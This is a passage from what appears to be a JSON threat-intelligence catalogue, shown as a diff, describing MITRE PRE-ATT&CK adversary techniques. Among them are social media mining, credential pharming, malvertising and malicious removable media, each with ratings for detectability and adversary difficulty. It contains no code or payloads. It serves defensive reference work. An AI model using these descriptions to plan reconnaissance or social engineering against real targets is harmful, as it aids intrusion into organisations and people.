Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "value": "Identify personnel with an authority/privilege - PRE-T1048", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048" + ], + "external_id": "PRE-T1048", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "762771c2-3675-4535-88e9-b1f891758974" + }, + { + "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest]. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design. Application of privacy settings is not a panacea.", + "value": "Mine social media - PRE-T1050", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050" + ], + "external_id": "PRE-T1050", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "695b1cce-57d7-49ae-a2af-820d50153f12" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.", + "value": "Credential pharming - PRE-T1151", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151" + ], + "external_id": "PRE-T1151", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4" + }, + { + "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Identify gap areas - PRE-T1002", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002" + ], + "external_id": "PRE-T1002", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "d778cb83-2292-4995-b006-d38f52bc1e64" + }, + { + "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.", + "value": "OS-vendor provided communication channels - PRE-T1167", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167" + ], + "external_id": "PRE-T1167", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.", + "value": "Identify job postings and needs/gaps - PRE-T1055", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055" + ], + "external_id": "PRE-T1055", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "7718e92f-b011-4f88-b822-ae245a1de407" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "value": "Conduct social engineering - PRE-T1056", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056" + ], + "external_id": "PRE-T1056", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "a757670d-d600-48d9-8ae9-601d42c184a5" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "value": "Identify supply chains - PRE-T1053", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053" + ], + "external_id": "PRE-T1053", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c" + }, + { + "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Identify analyst level gaps - PRE-T1010", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010" + ], + "external_id": "PRE-T1010", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1111", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111" + ], + "external_id": "PRE-T1111", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.", + "value": "Obfuscate infrastructure - PRE-T1086", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086" + ], + "external_id": "PRE-T1086", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.", + "value": "Deploy exploit using advertising - PRE-T1157", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157" + ], + "external_id": "PRE-T1157", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1" + }, + { + "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.", + "value": "Map network topology - PRE-T1029", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029" + ], + "external_id": "PRE-T1029", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d" + }, + { + "description": "Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.", + "value": "Obfuscation or cryptography - PRE-T1090", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090" + ], + "external_id": "PRE-T1090", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93" + }, + { + "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.", + "value": "Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168" + ], + "external_id": "PRE-T1168", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).", + "value": "Spear phishing messages with text only - PRE-T1145", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145" + ], + "external_id": "PRE-T1145", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17" + }, + { + "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.", + "value": "Test callback functionality - PRE-T1133", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133" + ], + "external_id": "PRE-T1133", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6" + }, + { + "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Cannot detect access to public sites.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.", + "value": "Mine technical blogs/forums - PRE-T1034", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034" + ], + "external_id": "PRE-T1034", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).", + "value": "Automated system performs requested action - PRE-T1161", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161" + ], + "external_id": "PRE-T1161", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729" + }, + { + "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", + "value": "Obtain/re-use payloads - PRE-T1123", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123" + ], + "external_id": "PRE-T1123", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768" + }, + { + "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generates no network traffic that would enable detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.", + "value": "Conduct passive scanning - PRE-T1030", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030" + ], + "external_id": "PRE-T1030", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c" + }, + { + "description": "Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.", + "value": "Analyze social and business relationships, interests, and affiliations - PRE-T1072", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072" + ], + "external_id": "PRE-T1072", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-weakness-identification" + ] + }, + "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d" + }, + { + "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained", + "value": "Network-based hiding techniques - PRE-T1092", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092" + ], + "external_id": "PRE-T1092", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5" + }, + { + "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.", + "value": "Friend/Follow/Connect to targets of interest - PRE-T1121", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121" + ], + "external_id": "PRE-T1121", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.", + "value": "Disseminate removable media - PRE-T1156", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156" + ], + "external_id": "PRE-T1156", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "2f442206-2983-4fc2-93fd-0a828e026412" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.", + "value": "Replace legitimate binary with malware - PRE-T1155", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155" + ], + "external_id": "PRE-T1155", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "0d759854-9b69-438c-8325-74b03cc80cf0" + }, + { + "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.", + "value": "Acquire OSINT data sets and information - PRE-T1054", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054" + ], + "external_id": "PRE-T1054", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "028ad431-84c5-4eb7-a364-2b797c234f88" + }, + { + "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.", + "value": "Secure and protect infrastructure - PRE-T1094", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094" + ], + "external_id": "PRE-T1094", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad" + }, + { + "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.", + "value": "Determine firmware version - PRE-T1035", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035" + ], + "external_id": "PRE-T1035", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "6baf6388-d49f-4804-86a4-5837240555cd" + }, + { + "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Develop KITs/KIQs - PRE-T1004", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004" + ], + "external_id": "PRE-T1004", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "6063b486-a247-499b-976a-9de16f4e83bc" + }, + { + "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.", + "value": "Research relevant vulnerabilities/CVEs - PRE-T1068", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068" + ], + "external_id": "PRE-T1068", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.", + "value": "Determine 3rd party infrastructure services - PRE-T1061", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061" + ], + "external_id": "PRE-T1061", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.", + "value": "Untargeted client-side exploitation - PRE-T1147", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147" + ], + "external_id": 